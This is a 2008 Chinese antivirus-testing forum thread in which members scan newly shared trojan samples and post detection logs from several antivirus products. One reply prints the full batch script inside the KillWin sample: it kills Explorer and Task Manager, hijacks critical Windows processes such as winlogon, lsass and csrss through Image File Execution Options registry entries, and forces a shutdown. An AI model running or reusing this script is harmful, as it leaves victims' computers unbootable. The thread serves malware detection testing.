下午茶時間,木馬新變種,已經更新到2只

醉一生爱妍

NOD無視！~

請各位朋友試驗

在本人的沙盤無法運行

[ 本帖最后由 garyyan456 于 2008-1-24 14:12 编辑 ]

冷冷

I:\virus\test\KillWin.exe - Signature 'Trojan-Downloader.Win32.Dadobra.sd' found

        1 File scanned
          (0 Archives with 0 files)
        1 Signature found
        0 Suspect code-parts found
        Used time: 0:00.078


@shift
õ?
taskkill /f /im explorer.exe
taskkill /f /im iexplorer.exe
taskkill /f /im taskmgr.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v debugger /t reg_sz /d debugfile.exe /f               映像劫持

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvc.exe" /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe " /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstask.exe " /v debugger /t reg_sz /d debugfile.exe /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplorer.exe" /v debugger /t reg_sz /d debugfile.exe /f

shutdown -s -t 59 -c "生日快乐!!!!"



============================================================
I:\virus\test\cwbout.exe - Signature 'Virus.Win32.Hupigon.MX' found
1 File scanned
   (0 Archives with 0 files)
1 Signature found
0 Suspect code-parts found
Used time: 0:00.016

============================================
I:\virus\test\ji.exe:\m6.jpg
I:\virus\test\ji.exe:\maikmr.exe - Suspect code-parts found (Level: 150)
I:\virus\test\ji.exe
3 Files scanned
   (1 Archiv with 2 files)
0 Signatures found
1 Suspect code-part found
Used time: 0:00.187

   

    [MD5: 7CB04C]

[ 本帖最后由 冷_冷 于 2008-1-24 14:33 编辑 ]

wangjay1980

deleted: Trojan program Backdoor.Win32.Delf.cwl        File: C:\Documents and Settings\Owner\×ÀÃæ\cwbout.exe
deleted: Trojan program Trojan.BAT.KillWin.cq        File: C:\Documents and Settings\Owner\×ÀÃæ\KillWin.rar/KillWin.exe

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\cwbout'
C:\Documents and Settings\Administrator\My Documents\cwbout\
  cwbout.exe
      [DETECTION] Contains a detection pattern of the (dangerous) backdoor program BDS/Delf.cwl Backdoor server programs
      [INFO]      The file was deleted!
  ji.exe
    [0] Archive type: RAR SFX (self extracting)
    --> m6.jpg
      --> maikmr.exe
        [1] Archive type: Runtime Packed
        --> Object
          [2] Archive type: RSRC
          --> Object
              [DETECTION] Contains suspicious code HEUR/Malware
              [WARNING]   Infected files in archives cannot be repaired!
      [INFO]      The file was deleted!
  KillWin.exe
      [DETECTION] Contains a detection pattern of the (dangerous) backdoor program BDS/KillWin.CQ Backdoor server programs
      [INFO]      The file was deleted!


End of the scan: 2008年1月23日  22:11
Used time: 00:08 min

The scan has been done completely.

      1 Scanning directories
      5 Files were scanned
      2 viruses and/or unwanted programs were found
      1 Files were classified as suspicious:
      3 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      3 Files not concerned
      2 Archives were scanned
      1 Warnings
      0 Notes

sam.to

已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.pie        檔案: C:\Documents and Settings\kato9096\桌面\1.rar/ji.exe//data.rar/maikmr.exe

wangjay1980

瞬间就换了一个

woai_jolin

Scan Log
Version of virus signature database: 2818 (20080123)
Date: 2008-1-24  Time: 14:15:09
Scanned disks, folders and files: G:\v\1.rar
G:\v\1.rar » RAR » ji.exe » RAR » m6.jpg - is OK
G:\v\1.rar » RAR » ji.exe » RAR » maikmr.exe - probably a variant of Win32/Genetik trojan - was a part of the deleted object
Number of scanned objects: 4
Number of threats found: 1
Time of completion: 14:15:12  Total scanning time: 3 sec (00:00:03)

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\1'
C:\Documents and Settings\Administrator\My Documents\1\
  cwbout.exe
      [DETECTION] Contains a detection pattern of the (dangerous) backdoor program BDS/Delf.cwl Backdoor server programs
      [INFO]      The file was deleted!
  ji.exe
    [0] Archive type: RAR SFX (self extracting)
    --> m6.jpg
      --> maikmr.exe
        [1] Archive type: Runtime Packed
        --> Object
          [2] Archive type: RSRC
          --> Object
              [DETECTION] Contains suspicious code HEUR/Malware
              [WARNING]   Infected files in archives cannot be repaired!
      [INFO]      The file was deleted!


End of the scan: 2008年1月23日  22:22
Used time: 00:05 min

The scan has been done completely.

      1 Scanning directories
      4 Files were scanned
      1 viruses and/or unwanted programs were found
      1 Files were classified as suspicious:
      2 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      3 Files not concerned
      2 Archives were scanned
      1 Warnings
      0 Notes

zhr5898

费尔杀第一个···
D:\cwbout.part1.rar>>cwbout.exe        Backdoor.Delf.cwl.psrx        后门        已删除/隔离

啊弥陀佛

微点砍掉